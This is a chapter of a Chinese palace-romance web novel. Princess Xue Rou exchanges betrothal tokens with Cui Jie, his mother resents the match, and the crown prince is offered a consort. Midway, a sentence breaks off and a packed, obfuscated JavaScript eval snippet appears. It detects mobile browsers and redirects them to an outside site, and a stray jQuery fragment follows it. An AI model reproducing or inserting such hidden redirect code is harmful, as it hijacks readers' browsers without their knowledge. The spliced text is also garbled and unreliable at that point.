不知不觉到了九月初二，崔家派人送来婚书，上书有崔介的姓名、门第、生辰八字等关键信息，皇后先行展开过目，确认无误，转手于早已眼巴巴的薛柔。
帖子上的字遒劲有力，笔锋犀利，尽管她不曾见过崔介本人的字迹，却有种直觉：这应当不是他所写就——他那样儒雅谦和，笔下的字合该是端正清秀的楷书。
她推断属实，这婚书出自崔介父亲崔寿之手。
并非崔介写不来，而是婚姻大事，只有生身父母才可做主，一脉相传，婚书亦不例外。
至于薛柔这边的婚书，自有景帝主持，早两日抽了个傍晚，伏案一挥而就。
皇后叫许嬷嬷把薛柔的婚书交给崔家人，崔家人毕恭毕敬收好，又奉上一个木匣子，意思是崔介所赠与薛柔的信物。
薛柔眼睛一亮，打开匣子，俨然一枚玫瑰金簪安然躺于内。
执手端量半晌，她欣喜道：“我正好缺一支玫瑰簪子呢，这就送来了，崔大人有心了。”
余夫人身边的邝嬷嬷喜道：“公主欢喜，我们家少爷一个来月的辛苦也值得了。”
薛柔灵敏，抓住关键点，反问：“崔大人一个月的辛苦？怎么一回事？”
邝嬷嬷打开话匣子：“怪奴婢没把话说清楚，该打该打。少爷他得知纳吉日需要赠予公主信物以后，特别上心，筹算亲手打磨一支发簪，先四下打听了一圈您素日喜好的样式，后边就开始上手制作。公主也知情，少爷他白日在翰林院当值，总是天黑透了才回家，一日下来，全凭夜里赶工，每天丑时过后才肯歇下，家里人都担心少爷吃不消呢。万幸这簪子做好了，做工很是精美，不输外面铺子里卖的，您又中意，果真不枉少爷熬这么久。”
薛柔第一次有耐心听完别人的长篇大论，感动不已，掌心的簪子陡然变得沉甸甸的，险些没能托住。
他竟然对自己如此重视，不惜耗时耗力，只为讨她欢心……
“那崔大人他身子还好吗？”喉咙像被什么堵住了，发出来的声音哑哑的、闷闷的。
邝嬷嬷说：“少爷他底子好，又年轻，一切都好，请公主宽心。”
薛柔忽然生发出一种想见崔介的冲动，无奈礼法在前，越是定了亲的男女，越得避嫌，不到万不得已不见面，直到大婚之日方可大大方方面对面。
“他平安就好。”
薛柔紧紧攥住簪子，因崔介数十个日夜的雕琢，生冷的金钗仿佛染了温度，手心连同心窝，暖洋洋的。
脑子里突然冒出一茬子，薛柔忙问：“他给了我信物，我是不是也得给他？”
信物信物，彼此交换的才叫信物。
却是皇后予以肯定的答复：“是这么个理。”
最近皇后忙得团团转，人也跟着糊涂了，明明白白忘记提醒薛柔需交换信物这回事了。
一想到崔介良苦用心，而自己两手空空，薛柔既着急又惭愧，搜肠刮肚地思索该还个什么物件，万幸让她想成了。
“三喜，你快去我屋子里，把去年我从三哥哥住处顺来的那柄湘妃竹扇子取来。”
她的东西左一样右一样的，堪称车载斗量的程度。
三喜短时发愣，极力回忆那扇子的模样。
薛柔急脾气犯了，没好气道：“博古架最上层靠右手边的格子里，印着水墨山水的那把！”
三喜豁然开朗，追着秋风而去，又被秋风推着返回。
将扇子递与邝嬷嬷，薛柔说：“就它合适，希望崔大人喜欢。”
这位十公主可真了解少爷的品味，前段日子的画儿，今儿的折扇，少爷对她也前所未有地用心，想来两人日后的感情会很和谐。家和万事兴，夫人若见少爷公主琴瑟和鸣，当初对这桩姻亲的怨怼，大概也能消散的吧。
邝嬷嬷暗暗思忖。
然则情况恰恰相反。
崔介待薛柔所赠之物珍如拱璧，专门打了个柜子存放于书房——家里人知道他的书房搁着许多重要公文，随意不踏足打扰，故此贵重物品通通安置在此。
每每路过书房，总能瞧见里头立着的那个干净明亮的柜子，还上着锁，钥匙握在崔介手中，其余的一排排书柜可没上锁，更显这个异类了。
余夫人心中不快，次次冷着脸走开，万籁俱寂时，便同丈夫崔寿磨牙：“你看看你的好儿子，没娶进门呢，就捧珍珠似的捧着，区区一个柜子也值当上锁，怕有贼下手偷了怎么着？”
一回两回，崔寿尚有余力开导她，自崔介带回那卷画儿起，她就在耳根子前没日没夜地唠叨，渐渐地，崔寿不胜其烦，不管她发哪门子邪火，先默一阵子，等她自己没趣住了口，才说：“儿孙自有儿孙福，咱们硬插手，到头来弄巧成拙，可不要闹笑话。你最好颜面，届时收不了场，难受还是你自己。”
余夫人小门小户出来的女儿，见识浅薄，有幸嫁到名门望族崔家，本以为好日子来了，怎奈崔寿性格温吞，不争不抢，由此二房长期被其他几房压着，没一点话语权。
长此以往，心眼子越长越小。
及崔介功成名就，二房终于扬眉吐气，偏生招来一个荒唐公主。
余夫人一闭上眼，尽是其他人指指点点的嘴脸，加上亲儿子一心向着薛柔，且明里暗里提防着她，她万万接受不来。
“你们父子，只管帮着一个外人宣排我，我是为谁辛苦为谁谋，不是为你们崔家百年世家的脸面么？“余夫人冤屈得不得了，滴下泪来，“我算认真了，再优秀的儿子，终究是娶了媳妇忘了娘。”
余夫人一个劲埋怨，正经道理一丁点听不进去，几乎无解。
几次三番折腾下来，崔寿累了，把脱到一半的衣服重新套回去，抬脚去东厢房凑合住了。
*
年纪最小的薛柔说定亲事，排行在前却孤身一人的皇子公主们，纷纷行动起来，怂恿各自的生母，到景帝那吹枕边风。
这之中，舒婕妤跳得最欢，一个月里，车轱辘话反复讲，搞得景帝有些怵她，后面整整一个月没驾临钟秀宫。
舒婕妤尽管抓耳挠腮，薛嘉尽管侥幸自喜，同时，花一段日子说服了自己：
太子哥哥对薛柔只是淡薄的兄妹之情，别无他意，是她自己看差了，因此拜访东宫的次数只增不减。
这日照常去送粥，不巧扑了个空，一问方知是被景帝叫御书房了。
个中细节，东宫的人没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521201|170732||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
提，薛嘉不好意思打破砂锅问到底，单说不差这一会，稍等等便是。
谁料热腾腾的粥都凉透了，薛怀义仍没消息，薛嘉按捺不住，搁下食盒，出去迎，好歹没落空，把人一道迎回。
“太子哥哥看起来不甚高兴，可是父皇说了什么？”
薛嘉两只眼坚持不懈地盯着薛怀义，凡他一颦一笑，全然做到第一时间发觉。
薛怀义矢口否认：“并无什么。”
无什么？分明就有什么。
薛嘉死抓着手，愤懑不平，无法释怀，不自禁疑心上了薛柔。
太子哥哥鲜少有丢魂丧魄的时候，独她所见，仅那么一次，他远远望着薛柔，陷入了无知无觉的境地。
薛嘉不敢亦不愿肯定是薛柔在兴风作浪，聪明地闭口不谈，光笑吟吟关切薛怀吃粥。
“中午吃过饭了，不饿，先放着吧。”薛怀义回以微笑，瞧着很通情达理，口吻却坚定得令人无话可劝。
薛嘉没招。
又坐了会，日常的话题全问遍了，委实无理由待下去，薛嘉强颜欢笑道辞。
如果她晚走一步，或者回个头，必定为薛怀义的阴翳满容而惊愕失色，乃至毛骨悚然。
程胜睃着那揭开盖的食盒，语态谨慎：“殿下，那粥……”
“照以前一样，倒了便是。”
其实，与薛怀义之间的情谊，净是薛嘉的自以为是。
几个年头以来，她精心准备的粥饭，大半与东宫的泔水混为一团，余下的一小部分，才真真实实进了薛怀义的肚子——她当场监督，不好做手脚。
薛嘉图谋在何，薛怀义洞若观火。以他所见，薛柔不遗余力骂他虚伪的力气，使在薛嘉身上更名副其实。
程胜打发小太监执行命令，他则积极为主子排忧解难：“殿下同陛下关起门来谈了好久，不知所为何事？”
殿下已经够命运多舛的了，但愿不是倒霉事。
程胜忠心耿耿，薛怀义比较信任他，不介意告诉他一些事：“父皇念我后宫寂寞，有意为我侧立太子妃。”
景帝的原话如下：
“你十妹妹最小，现今也有了人家，你们兄弟姐妹中未行嫁娶之礼的，属你年长，你又担着太子的名分，偌大后宫，冷冷清清，不免遭人非议。朕考虑了不少人，门户品貌皆配得上太子正妃的，当属中书令王偃的女儿。此女小你一年，大门不出二门不迈，知书达理，温柔贤良，堪为京中女眷之典范。你以为如何？”
中书令王偃，当世第一能臣，为天子的膀臂。他们王家也是百年世家，与李、崔、卢、郑几大家族平分秋色，如若收归王家女，借王家之势撑腰，那太子之位将固若金汤。
至于王家女本人的相貌性情如何，薛怀义不关心，他现阶段所野心勃勃的，乃金銮殿上那把龙椅，乃睥睨天下的权力，儿女私情暂牵绊不住他。
他要爬得更高，凌驾于尘世之上，那时，新仇旧恨，他将一笔一笔清算。
“儿臣但凭父皇做主。”
……
“那敢情是天大的喜事！”程胜眉飞色舞道，“咱们东宫总算要迎来太子妃了！”
薛怀义笑而不语。